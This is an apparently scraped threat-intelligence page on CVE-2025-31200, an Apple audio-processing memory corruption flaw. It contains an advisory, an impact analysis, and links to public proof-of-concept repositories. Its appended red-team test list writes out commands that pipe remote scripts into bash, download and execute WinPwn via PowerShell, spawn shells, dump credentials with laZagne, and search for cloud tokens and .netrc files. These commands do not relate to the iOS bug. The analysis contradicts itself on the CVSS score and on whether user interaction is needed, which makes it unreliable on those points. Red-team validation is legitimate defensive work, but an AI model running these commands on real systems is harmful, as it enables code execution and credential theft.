CVE-2025-31200
Overview
This vulnerability is a memory corruption flaw caused by insufficient bounds checking in the audio stream processing component of Apple operating systems. The root cause lies in improper validation of input data within the media file handling routines, leading to out-of-bounds memory access. The affected components include the audio processing subsystem in iOS, iPadOS, macOS, tvOS, visionOS, and watchOS.
Vulnerability Description
A memory corruption issue was addressed with improved bounds checking. This issue is fixed in iOS 18.4.1 and iPadOS 18.4.1, macOS Sequoia 15.4.1, tvOS 18.4.1, visionOS 2.4.1, watchOS 11.5. Processing an audio stream in a maliciously crafted media file may result in code execution. Apple is aware of a report that this issue may have been exploited in an extremely sophisticated attack against specific targeted individuals on versions of iOS released before iOS 18.4.1.
Impact
An attacker can achieve arbitrary code execution by convincing a user to process a maliciously crafted media file containing a specially crafted audio stream. This does not require user authentication but does require user interaction to open or process the media file. Exploitation can lead to compromise of the affected device, enabling execution of attacker-controlled code with user privileges. This vulnerability has been reportedly exploited in highly targeted attacks against specific individuals, indicating real-world weaponization despite its low CVSS score.
Solution
Apple has released security updates that address this vulnerability in iOS 18.4.1, iPadOS 18.4.1, macOS Sequoia 15.4.1, tvOS 18.4.1, visionOS 2.4.1, and watchOS 11.5. Users and administrators should apply these updates promptly. Detailed patch information and update instructions are available in Apple’s official security advisories at https://support.apple.com/en-us/122282, https://support.apple.com/en-us/122400, and https://support.apple.com/en-us/122401.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question is characterized as a memory corruption issue that arises from inadequate bounds checking during the processing of audio streams in certain media files. This flaw can lead to arbitrary code execution, allowing an attacker to manipulate the affected system's behavior. Specifically, the vulnerability affects multiple Apple operating systems, including iOS, iPadOS, macOS, tvOS, visionOS, and watchOS. The exploitation of this vulnerability hinges on the ability to craft a malicious media file that, when processed, can trigger the memory corruption, potentially leading to unauthorized access or control over the device.
Attack vectors for this vulnerability are particularly concerning due to the nature of the affected systems and their widespread use. An attacker could exploit this flaw by delivering a specially crafted audio file to a target device, which could occur through various means such as email attachments, malicious websites, or compromised applications. Once the target interacts with the malicious file, the vulnerability can be triggered, resulting in code execution. The sophistication of the reported attacks suggests that this vulnerability may have been employed in targeted campaigns against high-profile individuals, indicating a potential for advanced persistent threats (APTs) to leverage this flaw for espionage or data theft.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on Apple devices for their operations. The high CVSS score of 9.8 indicates a critical severity level, suggesting that successful exploitation could lead to severe consequences, including data breaches, loss of sensitive information, and disruption of services. For businesses, the ramifications could extend beyond immediate financial losses to include reputational damage, regulatory penalties, and the erosion of customer trust. The potential for targeted attacks against specific individuals also raises concerns about the security of high-value assets and intellectual property.
To detect and mitigate the risks associated with this vulnerability, organizations should adopt a multi-faceted approach. Regular software updates are essential, as Apple has released patches in the latest versions of its operating systems to address this issue. Organizations should implement a robust patch management process to ensure that all devices are running the latest versions. Additionally, employing advanced threat detection systems that can identify anomalous behavior associated with media file processing can help in early detection of exploitation attempts. User education is also critical; training employees to recognize suspicious files and to avoid interacting with untrusted media can significantly reduce the risk of exploitation.
In conclusion, the memory corruption vulnerability affecting various Apple operating systems poses a serious threat to both individual users and organizations. The potential for exploitation through crafted audio files highlights the need for vigilance in software updates and user education. As the landscape of cyber threats continues to evolve, maintaining a proactive security posture will be essential in mitigating the risks associated with such vulnerabilities. Organizations must remain aware of the evolving threat landscape and implement comprehensive security strategies to safeguard their assets against sophisticated attacks.
CSURFACE threat intelligence has detected a notable surge in exploitation attempts targeting CVE-2025-31200, accompanied by a modest but consistent increase in the EPSS score. This upward trend in telemetry indicates that threat actors are intensifying efforts to leverage this zero-click remote code execution vulnerability via malicious audio files, despite the availability of patches in iOS 18.4.1 and related Apple operating systems. The emergence of additional public proof-of-concept exploits further lowers the barrier to entry for adversaries, potentially expanding the pool of less sophisticated attackers capable of mounting successful campaigns. While there is no current evidence linking this vulnerability to ransomware operations, the increased exploitation activity elevates the overall threat level, underscoring the criticality of maintaining updated defenses. This development signals a heightened risk environment where targeted and opportunistic attacks exploiting this flaw may become more frequent, necessitating continued vigilance in monitoring and response efforts.
Affected Products (6)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
|
|
|
Apple | Tvos | All |
cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*
|
|
|
Apple | Visionos | All |
cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*
|
|
|
Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
|
Apple | Watchos | All |
cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (4)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
JGoyd/iOS-Attack-Chain-CVE-2025-31200-CVE-2025-31201
CVE-2025-31200 is a zero-day, zero-click RCE in iOS CoreAudio’s AudioConverterService, triggered by a malicious audio fi...
|
JGoyd | 197 | 32 | 2025-05-17 | View |
|
zhuowei/apple-positional-audio-codec-invalid-header
CVE-2025-31200 - @Noahhw46 figured it out
|
zhuowei | 118 | 19 | 2025-04-21 | View |
|
hunters-sec/CVE-2025-31200
IOS audio buffer overflow CVE-2025-31200 POC
|
hunters-sec | 11 | 4 | 2025-08-28 | View |
|
serundengsapi/CVE-2025-31200-iOS-AudioConverter-RCE
Public disclosure of CVE-2025-31200 – Zero-click RCE in iOS 18.X via AudioConverterService and malicious audio file.
|
serundengsapi | 2 | 8 | 2025-05-22 | View |
Threat Feed
7 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.